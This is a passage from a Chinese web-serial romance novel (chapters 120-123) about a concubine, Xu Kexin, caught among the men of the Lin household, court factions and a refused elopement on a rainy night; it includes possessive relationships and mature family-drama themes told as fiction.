眉心被吻了一下,知道男人答应了,她微微起身,凑到男人耳侧,轻声道,“大人,刑部尚书吴凌云,过去真得是我父亲手下的门生吗?” 男人抚着她的腰侧,也未问她为何提起此事,只不紧不慢道,“吴尚书过去宿在你家中,为官后,颇受徐大人重用。” 此话一出,徐可心霎时从男人怀里起身,“大人说的可是真的?” 并非投靠借宿那般简单,既受重用,却未受牵连,她心上不解,方要追问,男人好似看出她的困惑,揽着她的腰背,又将她压回怀里,“此人长袖善舞,辗转多人门下,之后归于梁党,受梁王青睐。” 梁党…… 徐可心面色紧绷,本昏昏欲睡的头霎时清醒,怔愣地盯着男人看。 “那赵侍郎过去同父亲可有交情?” 男人无声看着她,良久才漫不经心问,“为何提起此人?” 徐可心话语一噎,还未想好如何解释,却听男人追问道,“是因白日见了他一面,同他叙旧后生了几分情愫,可心才问起他?若是如此,为夫倒是应提防一二……” 未想过男人会想到情爱上,徐可心忙不迭开口,打断男人的话,“并非如此!” 话一出口,又意识到男人知晓白日赵侍郎前来见她,她又立刻小心地看着男人的面色,害怕他知晓两人的谈话。 见对方只是无声看她,没有再追问旁的,徐可心勉强压下心间忐忑,讨好地唤了一声夫君。 方才令她唤,百般哄着,她也不愿开口,眼下察觉不对,夫君也能唤出口了。 不仅知晓如何惹他生气,也知晓如何讨好他。 林远舟抚上女人的腰侧,加重手上的力气,不紧不慢用力按揉,女人趴在他怀里,分明难受得微微蹙眉,依旧一声不吭,也未唤疼。 “赵大人家世贫寒,进京科举时于街边贩卖字画,以此谋生,有人买下他的字画,声称为自己所写,于宴席上献给你父亲。” “诗堪称一绝,但明显出自旁人之手,之后你父亲命人寻作诗之人,收留了赵大人,令他专心科举,不必疲于生计。” “赵大人科举中第后,因政见不合,同你父亲请辞,转投至为夫府上,赵大人为人忠厚,你父亲也早就心生不喜,未挽留他。” “他并非梁党,不过你父亲看他为人古板,命媒人帮他说了一门亲事,如此论数,他反倒同你父亲一党关系颇深。” 男人揽着她的腰,不疾不徐解释,徐可心埋首在他怀里,听得愈发认真。 主动提起其与父亲交情的人,其实是梁党,而只字未言的人,却同父亲交情颇深。 徐可心只枕在男人颈侧,良久无言。 吴尚书到底是何居心?为何有意接近她…… 她正垂眸思索时,男人忽然道,“为夫既已为可心解惑,可心是否也应为夫君解惑?” 徐可心抬头,面色不解。 男人抚着她的后背,语气淡漠,“下人说,怀瑾白日前来寻可心,午时又宿在听雨阁,可有此事?” 想起那人曾讲过的话,徐可心低下头,“长公子的确前来妾身房中,又宿在了妾身这里。” 她未隐瞒,但也未说出林怀瑾对她讲的话。 还好男人也未在意林怀瑾为何前来,只抚上她的脸,低声问,“可心仍喜欢怀瑾是吗?” 徐可心沉默片刻,含糊道,“大人为何这般问?” “那日可心在床上一直唤怀瑾的名讳,为夫听得极为真切。” “为夫并非心胸狭隘之人,只是不日之后,为夫便与可心结为夫妻,家中长辈常说,夫妻同心,若可心喜欢上别的男人,为夫难免不会因此神伤。” “……” 眼见男人眸色落寞些许,徐可心忙不迭起身,捧住男人的脸,看着他一字一句认真道,“大人,那夜妾身所言全是气话,妾身并不喜欢长公子。” 男人无声看她,徐可心只觉心跳一滞,思来想去后,主动凑上去,讨好地吻着男人的唇角,“妾身怎会喜欢侵犯妾身的男人……” 若男人提及林昭明,她倒会不知所措,可对方提及的人是林怀瑾,她对他们二人有愧,对林怀瑾却没有半分愧疚之意。 既不喜欢,也不在意,甚至心生厌烦,因此可以随意提及他,而不会有所顾忌。 “既是可心亲口所言,为夫便相信可心只心悦为夫一人。” 男人边揽着她的腰,边将她压在身下,轻吻她的脸颊,徐可心环着他的脖颈,心上却不自觉想起林昭明。 那人说,离京之后就会娶她,她却先失约,同男人回府了。 她给了他们承诺,可事成 之后,她既不想嫁给男人,也不想带林昭明一起离开…… 男人边吻她,边抚着她的心口,她的心跳得很快,这次却未被男人攥紧手中。 临竹轩。 自从知晓他们二人并非父亲的亲生儿子后,林怀瑾就困在宅院里闭门不出,除了上朝之外,他每日只守在房中,不见任何人。 他只觉自己仿佛一个行尸走肉,于院中苟活,但彻底不知晓今后的日子到底应如何度过。 他过去每日雷打不动前去给母亲请安,眼下一见到母亲,他就不自觉想起母亲欺瞒他们的事情,只躲着她,哪怕她亲自上门,他也闭门不开。 “大少爷,二少爷回府了,可请他过来?”小厮站在门外,小心翼翼道。 林怀瑾放下手中的空酒杯,面色紧绷,良久才道,“让他过来见我,只说我有要事告诉他。” 小厮应了一声,没过多久,门外脚步声响起。 身着玄衣的男人推门走进,看了眼堆积在桌案上的酒壶,眉眼不耐,“有话快说。” 林怀瑾攥着手中的空酒杯,未在意他的无礼,直言道,“你可知晓我们二人的亲生父亲另有其人?” 林昭明性情急躁,林怀瑾以为,林昭明会同他一样,痛苦至极,可对方站在那里,眸色意外的平静,“你想说,二叔才是我们的亲生父亲?” 林怀瑾攥着酒杯的手骤然用力,倏地起身,“你知道!” 林昭明冷笑一声,面色带着不加掩饰的嘲弄,“我为何不知道?” 只要对自己的儿子有丁点情意,她又怎会在生下他们二人后,对他们不管不顾,只有在二叔离京时,才会想起他们,等到二叔再次回京,母亲也不再理会他们。 他过去甚至想,若此人永远在外地任职就好了,偏偏这人每次被贬官,没过多久又会被调回京城。 这次这人离开的时间最久,母亲也愈发在意他们,可他早就认清自己,不再期待她反复无常的喜欢,好似逗狗一般,想起来就照顾几日,难以想起就将他们舍弃在一边。 “你既早就知晓,为何不告知我!” 他以为他们二人均被蒙在鼓里,原来到头来真正被蒙在鼓里的人只有他林怀瑾。 林昭明冷冷看着他,眼底也无多少亲情,只冷漠至极道,“我为何要告知你?就算你知晓了,你又能改变什么?是和她断绝母子亲情,还是不承认她是我们的母亲,将此事告到父亲那里?” “长兄既在房中酗酒,闭门谢客,不也说明你选择妥协?” 林昭明站在门前,只扯下他们之间最后的体面。 父亲纳儿媳为妾,长兄侵犯弟媳,母亲同二叔通奸,他早就对这个家失望透顶。 他如今对林府没有一丝留念,此番回府,也是打点好一切,想要带徐可心离京,彻底离开这片脏污之地……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-130 第121章 林昭明眉眼冷漠,只站在门前,无声看着他的狼狈和颓废,“若无事的话,昭明先告辞了。” 林怀瑾紧攥酒杯,望着他毫不在意的面色,难言的恨意彻底蔓延至心头。 父亲对他们冷漠以待,母亲对他们不管不问,而他的二弟不知何时开始,也愈发厌烦这个家。 除了他林怀瑾,也只有他林怀瑾,还苦苦维持这个早就支离破碎的家,他们貌合神离,到头来真正被伤到的人也只有他一人。 他极力放低姿态,想要一个解释,想要一个道歉,想要他们的面上露出愧疚之色,可他们全然不在意,他甚至等不到一句关心。 临到头来,唯一的关心还是徐可心给他的。 他们是他的父母兄弟,他做不到报复他们,但他彻底不想再维持这个家的体面了。 既然他们都不在意,他又为何因此继续颓废下去,为了他们一次次伤害徐可心,致使女人愈发厌烦他,疏远他,对他避之不及。 若早就知道一切,早在徐可心刚入府时,他就可以得到她,可现在父亲也不愿放手,他彻底得不到那女人…… 林怀瑾抬眸,素来阴柔平和的眉眼此时浸透恨意,愈发阴鸷骇人。 他攥着酒杯,死死盯着林昭明的背影,冷不丁道,“你知晓母亲和二叔通奸一事,那你可知晓,父亲意图休了母亲,娶徐可心为妻?” 男人身影一顿,眉眼露出不加掩饰的错愕,好似定住一般站在原地,良久后才终于反应过来似的,高声斥骂道,“你他娘在乱讲什么!” “为兄是不是在乱讲,你自己清楚。” 林昭明站在门前,眉头紧拧,垂在身侧的拳头紧握成拳,手背青筋暴起,倏地转身大步向院外走去。 林怀瑾看着他这副怒不可遏的模样,难言的畅快霎时袭上心头。 不能只有他一人疼,只有他一人在意,他们所有人都不能置身事外,都必须知晓他的痛苦。 刚入秋那会儿,下了几日的暴雨,天方晴没多久,阴云又覆了过来,日头隐在云后,整个京城上空黑压压的,落叶在半空打转,透着风雨欲来的萧瑟。 “姨娘,二少爷的信。” 她被解了禁足,钉死在窗户上的木板也被人取了下去,徐可心坐在窗前,无声看着信上的苍劲有力的字迹,良久后轻轻阖上信纸,看向阴云密布的窗外。 秋风卷落叶,阴云漫天。 一阵风吹过,顺着木窗涌进屋内,撩起她鬓角的长发。 男人想带她离府,说会在子时等她,若她不去,他就走了…… 指尖抚着书信边缘,一下一下缓慢挪动,只把信纸边缘磨得愈发削薄,也未停下。 她还未报仇,现在还不能离京,何况……哪怕报仇了,她也不想同男人一起离京了。 那日思虑不周,急切地想要逃避一切,才慌不择路地想要带男人一起离开,如今仔细醒来,男人还未弱冠,还有大好的前途在后面等他,她不想成为男人的累赘,也不想将他从高处拽下来,拖进泥潭之中。 她的好昭明真诚坦荡,勇敢坚毅,是天底下最好的男儿。 不能再同他继续纠缠下去了,她只会拖累这人…… 阴云覆压在京城上空,没过多久就落下雨点,雨点一开始很小,如毛似针,斜斜落在弥漫尘土的石阶上,没过多久,愈下愈大,雨急风骤,只听屋外碎玉声不绝于耳。 夜色暗沉,方入夜未多久,身着朝服的男人执伞缓步走入院中,却见女人站在门前,不知等了多久,只一见到他,就要走进雨里。 男人先上前一步,揽住她的腰。 “雨急,当心受寒。” 徐可心依靠在男人怀里,看着男人的侧颜,忽得想起,刚入府时,她害怕男人不喜她,每日小心伺候讨好男人,执着于猜测男人的喜好,哪怕被他抱在怀里,也觉两人同床异梦。 可眼下她无须做任何事,就知晓男人在意她,不必再同过去那般,惴惴不安地揣测他的心思。 这人给她的喜欢很满,完完全全占据了她的心。 那封信被压在梳妆台前,入寝时,她枕着男人的肩膀,无声听着屋外的雨声。今夜男人难得地没有兴致,未索求她什么,只将她抱在怀里,早早熄了烛火。 屋内烛火熄灭,安静无声,独留门外的秋雨。 男人的手臂环在她的身前,揽着她的腰,结实滚烫的胸膛抵着她的后背,将她整个人完全抱在怀里。 屋外雨声不停,衬得屋内愈发沉寂,她甚至能听见男人的心跳声。 雨水一滴一滴从屋檐坠落,眼见临近子时,她的心跳得也愈发快。 分明入了深夜,雨却下得愈发大,竟掺杂几道雷声,轰隆地响在屋外,好似要把天震碎一样。 她枕着男人的肩膀,盯着虚空,直到子时,她也未起身下床,前去信中告知她的地方。 今夜风雨交加,府中人均在屋中安睡,难以听到屋外的动静,没有任何一日,比今日更适合私奔出逃,只要她想,她好似真得可以离府。 但她还不想走…… 她一直保持着一个姿势,身子早就僵硬,直到过了子时,她的心才彻底平复,小心挪动身子。 说不清心上愧疚多些,还是内疚多些,她只觉头很沉,想要彻底睡上一觉。 她方要阖上眼皮,急躁的脚步声从屋外传来,交织在雨中,愈发清晰,徐可心以为是守夜的下人,未分神理会,直到脚步声停在门前,她才霎时抬眸,错愕地看着门上男人颀长的身影。 房门被骤然敲响,“徐可心!” 男人压抑的声音从门外传来,徐可心霎时坐起身。 门上人影修长挺拔,但未有伞的垂影。 知晓他未执伞,她下意识起身,越过身侧之人就爬下床,仓促地跑到门外,一把推开门。 房门被骤然打开,男人身着玄衣,未执伞,整个人完全浸在身后浓稠阴沉的夜里,雨水顺着男人的额头滑 落,男人眸色阴沉,无声注视她。 “昭明……”徐可心方要开口,就被一把攥住手臂。 “同我走。”男人直接打断她的话,扯着她的手臂就要带她离开。 “可心。” 一片阴影从身后垂落,覆压在她的身上,徐可心身子一僵,下意识转头,却见方才还沉睡的男人此时身着单衣,眼底没有情绪地看着她。 林远舟揽着她的腰,将她困在怀里,让她难以挪动身子。 雨水顺着屋檐滚落,林昭明浑身上下早就被雨水浸透,背靠雷鸣雨声,死死盯着她,紧攥她的手臂不放。 夜色下,他的眼底浸满戾气,极为骇人。 “徐可心,你到底选他,还是选我?” 一门之隔,男人姿态从容,只揽着她的腰,将她拉入屋内,未等她开口,先淡声道,“如今可心是为父的妾室,昭明理应注重尊卑。” “不日之后,为父还会娶她为妻,到时她便是昭明的母亲,身为小辈,却蓄意引诱庶母,你的礼义廉耻都学到狗肚子里不成。” 男人眸色淡漠,语气平静至极。 林昭明面色紧绷,却未理会他的话,只全然盯着徐可心,等她的回答。 徐可心夹在他们二人之间,背靠男人坚实的胸膛,本平复的心弦在顷刻之间骤然紧绷,心跳得愈发快,俨然要蹦出心口。 一人是她年少的欢愉,一人是她如今的依靠。 过去他们哪怕再不在意她,如今也都把一颗心剖开,完完全全呈到她面前,以求她的喜欢。 徐可心心跳如雷,面对男人的质问,只觉喉咙好似哑住一般,难以说出一句话。 并非不想说,而是她自己也不知晓,他们二人于她而言,到底谁更重要。 她对林昭明早就失了喜欢,但仍不免牵挂他,把他放在心上,而她喜欢大人,也早就难以放下他。 她迟迟不开口,身子僵硬至极,身后之人揽着她的腰,这次依旧未替她做选择,而是等她自己开口。 过了良久,久到寒雨卷携秋风,涌进门中拍打在她的脸上,她才堪堪找回自己的声音。 徐可心紧抿着唇,从身后人的怀中走出,深呼一口气后,上前一步。 见她挣脱自己的怀抱,林远舟半阖眉眼,无声看着她的背影,却未阻拦。 夜色下,徐可心紧抿着唇,主动走进雨里,迎着男人直勾勾好似野兽的目光,轻声道,“昭明。” 她的声音很轻,隐在雨里,不仔细听很难听清,而此时站在她身侧的两人,却都愿意为她俯身,耐心等她开口。 “你如今在朝中位居要职,尚且年轻,那日我思虑不周,才想要带你离开,之后我仔细想来,发觉我后悔了。” “我想你一直站在高处,青云直上,成为百姓敬畏的好官,留名青史,而非流落市井,荒废一身才学。” “今日之前,你为了我做了太多错事,我并非一个清风峻节的人,不仅未引你走上正途,反而时常带你走错路。” “可今后,我却希望昭明可以专心治学为官。” “悲天悯人,济世安民。” “如此姐姐才不会愧疚带昭明走错路……” 落雨声不绝于耳,男人垂眸看着她,良久才忽得哽咽道,“徐可心,你太自私了。” “你只为了自己心上好过,就要舍弃我。” 难堪的哭声在雨夜压抑地响起,“于你而言,我究竟算什么?” “少时你让我考取功名,我听你的话,专心治学,只为了能换取高位,风风光光娶你,你说的话,我一字一句,记得清清楚楚,可你答应我的事情,却总是失约。” 咸湿的雨水从男人的脸上滑落,分不清到底是雨水,还是泪。 “我从始至终想要的就是娶你为妻,和你一直在一起,那时是我糊涂,认不清自己,走错了路,可我自小就喜欢你,为何只走错了一次路,就彻底失去了你。” 话落,男人膝盖一弯,垂着头,彻底跪在雨夜里,跪在她面前。 “我在意的从来只有你一人,没有你,我又为何治学为官,还不如死在初见你时的那片湖里。” 男人的头埋得很深,捂着脸,哭声愈发压抑。 眼眶忽得肿胀酸涩,徐可心看着跪在她面前痛哭的男人,男人的身影和少时少年的身影渐渐重合,徐可心紧抿着唇,终于不受控地跪下身,将人抱在怀里。 “昭明无错,是姐姐不好……”她的声音也早就哽咽。 林远舟站在屋内,无声看着跪坐在雨里的两人,终究未上前一步。 大雨之下,无人能够幸免,全都被雨水淹没,拖拽至黑沉的夜里,好似永远不会摆脱。 以为要彻底沦陷黑暗中,但雨不会一直下,总会见天晴。 不知是入秋苦寒,还是旁的缘故,今年的林府格外萧条。 未等大人休妻,二少爷就跑去沈家退婚,一直趴在林家身上苟延残喘的沈家彻底被舍弃,好似流浪狗一般,被一脚踹开。 沈家过去亲近梁党,眼见他们被林家舍弃,蛰伏在京中的一众党羽霎时蜂拥而起,一本本奏折接连不断地被送到宫里。 林府书房。 林远山站在书房门外,听着里面女人的摔打哭喊声,笑着看向站在一旁的钱管家。 四目对视,钱管家尴尬一笑,未敢附和什么。 夫人跑到书房闹,他们做下人的也难以言说什么,是非对错都是主子们的事,他们只做好分内的事。 林远山站在门外,复又听了半晌,才转身离开书院。 路过一处静雅别致的院子时,他脚步一顿,鬼使神差地走了进去。 下人们见到他,眸色诧异,说徐姨娘如今不在院中。 林远山未在意,只问长小姐在何处。 这几日他未在书房看见青姝,所以青姝只能在她娘亲这里。 第122章 小孩趴在雕花木床中,蜷缩着身子,抱着一个布老虎,粉白的小脸格外可爱,她的五官似她父亲,而林远山的长相也和他长兄极为相似。 男人站在床前,不顾身后丫鬟警惕的目光,俯身托住小孩的身子,将她抱在怀里,轻车熟路地抚她的脸颊,轻声唤着“青姝”。 小孩足足睡了几个时辰,听到响动,紧蹙着眼睛,抬手胡乱抹着自己的脸,才缓缓睁开眼睛。 丫鬟守在一旁,担忧地看着长小姐,害怕她见不到徐姨娘会哭,到时徐姨娘回来又会心疼了,她正想着唤乳娘过来时,却见小孩看了男人片刻,眨了眨眼睛,低头趴在他怀里,紧攥他的衣服,面色依赖,没有半分畏惧。 林远山揽着怀中小孩的后背,见她睡得熟,低头轻声道,“青姝,几日不见,想不想父亲?” “你还未唤父亲,乖青姝,唤为父一声父亲……” 林远山托着她的身子,话语不停地在她耳边哄着,小孩被念得烦了,被迫抬眼,看向身前的男人,微微张唇,很轻地唤了一声父亲。 声音很轻,林远山听后却满意地扬唇,眼底的笑意也变得真情实意。 “林二叔?” 脚步声从门外传来,女人不确定的声音在身后响起。 林远山眸中的笑意僵在脸上,良久才转过身,却见身着青衣的女 人站在门前,眸色复杂地看着他。 那日的秋雨下得又急又大,院中树上的枯叶被尽数打落,独留光秃秃的枝杈。 徐可心抱着怀中的青姝,轻轻抚了抚她的脸颊,抬眸看向坐在不远处的男人,却见男人身着白衣,目光落在她怀中的青姝身上,好似察觉到她的目光,男人抬眼看向她。 四目对视,男人眉眼微弯,很自然地露出一个笑容。 知晓他之前做过的事,徐可心未因他和善的面色,对他放松警惕。 她看向怀中的青姝,想起方才男人哄青姝的话,终于明白,为何大人态度冷淡,鲜少同青姝交谈,青姝却学会唤父亲。 原是这人教的…… 两人过去也见过几面,但只见过几面,甚至未交谈数句。 这次倒算得上两人的正式见面…… 徐可心抱着怀中的女儿,心上警惕万分,面色却格外平静,没有半分异样。 “不知二叔今日为何前来?”她问。 “这几日前去书房,未瞧见青姝,以为她被长兄藏了起来,想着前来告知你,未曾想过青姝原在姨娘这里。”男人脸不红心不跳,随口编了一个谎。 徐可心看了男人一眼,未相信他的话,却也未追问旁的。哪怕心中恨意滔天,她的面上也未显露分毫。 他们之间太过陌生,只一句话过后,屋内再次陷入沉寂。 哪怕无话可说,男人也没有离开的意思,只赖在那里不走,一直坐在原位。 过了良久,她方要开口请男人离开时,对方忽得开口道,“姨娘,我有一事不解,不知姨娘可否解惑?” 男人眸色好奇,好似真得期待一个解释,徐可心紧抿着唇,半晌才道,“二叔请讲。” 林远山笑着看她,“姨娘,青姝是女婴,并非男婴,于姨娘而言也是拖累,姨娘为何不杀了她?” 哪里想过他会这般问,徐可心的面色霎时难看几分。 “二叔言重了,无论如何,青姝都是妾身的女儿,妾身疼爱她还来不及,又怎会把她视为拖累,更别提……”杀了她。 之后的半句话,徐可心实在难以说出口,只眉头紧拧,眸色不善地看着他。 看出她眼底的怒气,林远山却未在意,丝毫未意识到自己话里的冒犯似的,只若有所思地看着她怀中的青姝。 过了良久,他林远山才起身,迎着她谨慎的目光,走至她身前,笑着俯身,边抚着她怀中女婴的面颊,边轻声低语几句。 等最后一个字落地,林远山才不舍地看了青姝一眼。 “只等姨娘想清楚,便前来寻我,远山随时恭候姨娘上门。” 话落,林远山未再久留,笑着转身离开。 徐可心望着他的背影,眸色也变得愈发复杂。 入夜后,男人前来见她,从身后揽着她的腰,问她,白日林远山是不是来过。 徐可心倚着他的后背,闻言轻轻嗯了一声。 “他抱着青姝,令青姝唤他父亲。”她把白日看到的情景讲了出来。 男人枕着她的肩侧,沉默半晌,才吻上她的耳侧,“除此之外,可说了旁的?” 徐可心垂着眉眼,微微摇头。 男人的手撩开衣衫,顺着敞开的缝隙,轻车熟路地探了进去,抚上她的腹部,未说相不相信她的话,但也的确未追问,只不断轻吻她的脖颈。 温热的掌心完全覆在她的腹部上,不轻不重按压,她不自觉微微向后,紧贴男人的胸膛,偏着头,费力地回应男人的吻。 她未说的是,林远山问她,被强迫回府,又被禁足后,恨不恨长兄,若想同情人私奔离府,亦或逃离他的长兄,可以帮她。 她清楚自己不恨身后的男人,但她委实不清楚,林远山今日话里的意图。 她正分神时,颈侧传来刺痛。 “可心在想何事?” 温热的呼吸落在耳边,徐可心霎时回神,对上男人压着情欲的眸子,心也跳得愈发快,抬手攀上男人的肩膀,不受控地吻上男人的唇。 见她不愿回答,男人也未追问,按揉她腹部的手掌加重力气,将她整个人完全怀里,彻底占据她的身子。 他并非神仙,不可能控制女人的所思所想,只能一次次占据她的身子,让她被迫回神,不得不面对他。 那夜过后,不知是不是徐可心的错觉,她总觉得男人变得多疑些许,虽不再提起那夜之事,但每每欢好之后,都会埋首在她怀里,抚着她的身子,同她温存良久,不知是安抚她,还是安抚自己。 那夜林昭明想带她离府,说到底和私奔无异,徐可心垂眸看着枕在她颈侧的男人,抬手抚上他的后颈,手指在男人的发间穿梭,不断安抚他的思绪。 过去她以为,哪怕她离开了,男人也不会在意,可现在对方这副模样,又让她不自觉心上忐忑,若她真得离开了,对方又会变成何种模样…… 不单是大人,那夜之后,林昭明也变了些许。 过去这人眉眼浮躁,总是透着戾气,这几日却好似变了一个人,寡言少语不说,看人的目光也变得像他父亲,愈发不近人情。 见到她时,也躲着她,好似她是什么洪水猛兽。 见男人同她疏远,徐可心这次却未再惴惴不安,反而松了一口气。 看来看去,他们二人之间本就是一场孽缘,早些了断,早些放过彼此,不必再继续纠缠下去。 小厮白日送信给她,说他和三姨娘不日就要离京,三姨娘临走前,想要见她一面。 那日被从青楼带出后,三姨娘和小厮一直宿在林昭明安排的宅院里,徐可心得了信,又找到钱管家,要了小厮的卖身契,令丫鬟准备些许盘缠,前去送他们离京。 她坐在车厢内,方要命车夫驾车,车帘就被一把掀开,数日未见的男人冷着脸,一字未说直接上了马车,挨着她坐在她身侧。 “昭明……” 她身子一僵,怔愣地看着一旁的男人,方要同他讲话,却听男人头也不回道,“别同我讲话,我没兴致同你闲谈。” “……” 余下的话被徐可心咽了回去,她垂下眉眼,自知有愧,见他不喜,恐惹他生气,徐可心微微挪动身子,同男人分开些许。 马车行驶,两人坐在车厢内,谁都未开口讲话。 车厢内安静无声,男人看向幕帘外,不知再想什么。 “你是毛贼不成?还是做了亏心事,一直盯着我看?” “我未盯着你看……”徐可心语气不足,她只是想问男人为何上马车,但斟酌半天,她又不知晓如何开口。 林昭明眸色冷峻,明显未相信她的说辞,“徐可心,你是当我瞎了还是傻了。” 他看了一眼两人之间的空位,没有征兆抬手,用力攥紧她的手臂,将她扯到自己身侧,“你坐那么远做什么?我还能吃了你?” 男人的手指好似铁钳一般,紧紧攥着她的手臂,她心上忐忑,也未说疼,只任由对方拽着。 “你不是厌烦我,为何跟了过来?”她忍不住问。 男人冷冷看了她一眼,看向车外,头也不回道,“ 我说了,别同我讲话。” “……” 男人话里排斥她,可垂在身侧的手仍用力攥着她的手臂,让她难以挣脱。 对方可以质问她,同她讲话,而她不可以同对方讲话。 明白了男人话里的意思,徐可心安静坐在一旁,未再说什么。 一路安静无声,马车最后在一处宅院停了下来。 未等她说什么,林昭明先松手,一字未说地下了马车,徐可心看着他的背影,几不可察叹了口气,跟在他身后。 车夫早早准备了车凳,放在马车一旁,可还未等她弯下腰,站在一旁的男人就不耐上前,强硬地揽着她的腰,将她抱了下来。 徐可心扶着他的肩膀,也不敢挣扎,小心看着他的脸色。 林昭明刚把她抱下马车,就转身向宅院里走去,徐可心挪着步子,缓步跟在他身后。 男人走得很快,丝毫没有等她的意思,徐可心怕惹他不快,只小步跟在他身后,两人之间的距离愈发远,好似终于察觉到她未跟上来,男人倏地停下脚步,转身看向她,冷声道,“你又再谁置气?” 男人语气冷漠,透着明显的质问。 徐可心脚步一顿,停在原地,轻声道,“我未同你置气,你走得太快了,我难以追上你。” “你先走罢,不必等我……” 她的话很轻,未带有半分不满和指责,只温声解释,可林昭明闻言,眉头却骤然紧拧,大步向她走了过来,一把扯住她的手臂,俯身质问道,“你站在这里,我如何能走?” “既然知道自己走得慢,你不会走快些?非要和我越行越远?何况你是哑巴不成,不会唤我停下?” “我是被狗撵了,还是赶着要投胎,还能不停下等你?一遇到事,不想着唤我,只想着和我分道扬镳,徐可心,我是你捡来的流浪狗吗?一寻到机会就想和我撇清关系?” 徐可心站在原地,对上男人满是怒火的目光,紧抿着唇,“我未这般想……” “别和我讲话。” “早晚被你气死,气死我你就如意了,彻底甩掉一个累赘。” “我只告诉你徐可心,你别想甩掉我,你这辈子,下辈子,都别想和我分开,我做鬼也不会放过你……” 男人边说,边紧攥她的手腕向院内走去,徐可心沉默跟在他身后,未敢再说什么。 厢房内。 三姨娘和小厮早早等候,一见到他们就忙不迭站起身。 目光落在林昭明紧攥她的手上,三姨娘意味深长地看着他们二人。 徐可心看向身侧的男人,小心地扯了扯手臂,“昭明,可否先松手?” 林昭明冷眼看着她,好似要说什么,过了良久却未说出一句,移开目光看向一旁,攥着她的手也未松开。 徐可心见状,也未再说什么,任由他攥着,看向三姨娘,“不知你唤我前来所为何事?” 三姨娘看了眼面色冷峻的男人,也未追问什么,缓声道,“有一事我一直隐在心中,未敢同人言说,今日既要离京,不受胁迫,念你收留我们二人多日,便想着告知于你。” 第123章 “李三邀吴尚书上门,说你得宠,恐你同大人吹枕边风,追究过去之事,吴尚书只说等林二叔回京,再做考虑。” “我无权无势,也没有依靠,不敢同你冒险,才一直未告知你。如今李家众人已死,我也要离京,才唤你过来。” 三姨娘上了马车,回头看她。 “你不怪我?” 三姨娘攥着手中的卖身契,看着站在一旁垂眸思索的女人。 这人入府时,她时常对这人冷嘲热讽,别说救济,甚至时常羞辱徐可心。 可等她被送去青楼,却是这人救了她。这人素来小心谨慎,从不与她争执,她本以为这人是个怯弱的软包子,小厮却告诉她,那日徐姨娘亲手打了那几个护院。 原来会惩戒人,只是不同她争执罢了。 这人不同她计较,她心上难免有被看轻之感,认为这人依旧假清高,装柔弱讨大人喜欢,如今终于露出马脚。 若被救之人是旁人,她定然要嘲弄这人一番,可偏偏被救的人是她,郑卿卿又不免生出几分她自己都不懂的心绪。 她做不到答谢这人,只能在离京前,把自己知道的一切告诉这人。 徐可心本站在一旁垂眸思索,闻言回神,看向马车上眸色复杂的女人,轻声道,“姨娘不顾己身,为我蛰伏李家,妾身为何要怪姨娘?” “我讲的并非此事……”三姨娘面色紧绷,转头看向一旁,“谁为你蛰伏李家,别自作多情了。” “假模假样,也是条咬人前不叫的狗。” 郑卿卿嘴不饶人,却不敢看她。 徐可心几不可察叹了口气,“来时带了些许盘缠,道路艰苦,还望郑娘子善自珍重。” 郑卿卿紧攥幕帘,掀开后走了进去,小厮站在一旁,见状接过盘缠,“姨娘,小人代姐姐收下了,姨娘也多多保重。” 徐可心微微颔首,眼见他上了马车,目送马车渐行渐远。 “吴尚书居心叵测?”男人站在她身后,冷不丁道。 徐可心转过身,看向仍攥着她的手,未立刻回他的话,“你只先放手,我再同你慢慢讲。” 男人睨了她一眼,转过头,也未再追问。 这就是不放手的意思。 徐可心无奈,只能任由他攥着。 回林府的路上,男人依旧攥着她的手腕,眼见快要回府,徐可心正想着如何劝他放手时,林昭明一字未说,先松了手。 徐可心霎时松了口气。 林昭明不再攥着她的手腕不放,却依旧寸步不离地跟在她身后,徐可心每每开口让他离开,林昭明都冷眼瞧着她。 “都是你欠我的。”他说。 语气颇有几分无赖,但眼底的责怪又太过明显,让人分不清他心上到底是怨气多些,还是怒气多些,亦或两者皆有。 迎着府内下人的目光,林昭明像只厉鬼一样,阴魂不散地跟在她身后,同她回了听雨阁。 刚一入院,就见身着官服的男子站在她的门前,低垂着头,不知再想何事。 “你还敢来见她!” 未等徐可心开口,林昭明先扯过她的手臂,将她拽到身侧。 林怀瑾闻声抬眸,看向不远处的女人,不顾林昭明喷火的目光,只轻声道,“姨娘,怀瑾来寻你了。” 他声音很轻,莫名带着一股虚浮的阴冷气。 过去那个风姿绰约的大公子不知去了哪里,眼前这人眉眼阴沉,好似从地底下爬出来的阴鬼,发青的眸子直勾勾盯着她。 同她讲话时的语气也早就没了之前的疏离,只有难压的旖旎和情欲。 见女人只站在原地看着他,既不开口讲话,也不上前,林怀瑾垂下眉眼,面上透着几分落寞。 “姨娘,怀瑾今日前来,有要事告知姨娘,事关徐家一事,还请姨娘允怀瑾入内。” “你不准让他进你房中。” 徐可心听着耳边的斥责声,轻轻拍了一下他的手臂,“还请公子入内。” “你存心气我是吗?”林昭明咬牙道,垂在身侧的手紧攥成拳。 徐可心不看他,只向房内走去,林怀瑾站在原地,等她入门后,才看了一眼站在院中怒不可遏的男人,跟在她身后入了房中。 进门后,顺手关上了门,只把人挡在门外。 徐可心回头看他,林怀瑾背靠着门,双手叠在身后,温声道,“事关重大,昭明行事鲁莽,若知晓怀瑾告知姨娘的话,恐会生事。” “怀瑾只讲给姨娘一人听可好?” 这人过去同她讲话时,话只说三分,余下的话隐在心里,让她总觉有几分疏离之感,不免担忧这人又再盘算什么。 可眼下这人直直盯着她,目光极为坦荡,眼底也完完全全倒映她的身影,罕见地透着几分赤诚。 徐可心沉默半晌,嗯了一声。 她走至桌案前坐下,想要请林怀瑾落座,可男人看着她,大步上前,屈膝跪在她面前,牵着她的手就抚上脸颊,仰视她道,“几日未见姨娘,怀瑾日思夜想,只觉心口沉闷至极,好似失了魂一般,入夜后,只一阖眼,就不禁想起姨娘。” 哪里想过他突然跪了下来,徐可心眉头微蹙,就要站起身,男人眸色一暗,先有所察觉,直接抱住她的双腿,枕在她腿间,眼也不抬道,“姨娘,怀瑾的确有要事相告,只是一见到姨娘,心就欢喜得厉害,才忍不住将心中肺腑之言讲了出来。” “若姨娘不喜欢听,怀瑾不讲就是了。” 男人埋首在她腿间,背影依赖,话语分外可怜,情话无师自通,话语不停地为自己辩解,边说边紧抱着她不松手,只贪婪地从她怀里讨得几分慰藉。 徐可心紧抿着唇,未相信他的一番鬼话,扶着他的肩膀就要推开他,就在此时,房门被一脚踹开,面色冷厉的男人大步走了进来,见他们二人姿势亲昵,眼底霎时盛满怒气。 “不说有要事相告?他为何抱着你?” 林昭明直直盯着她,质问道。 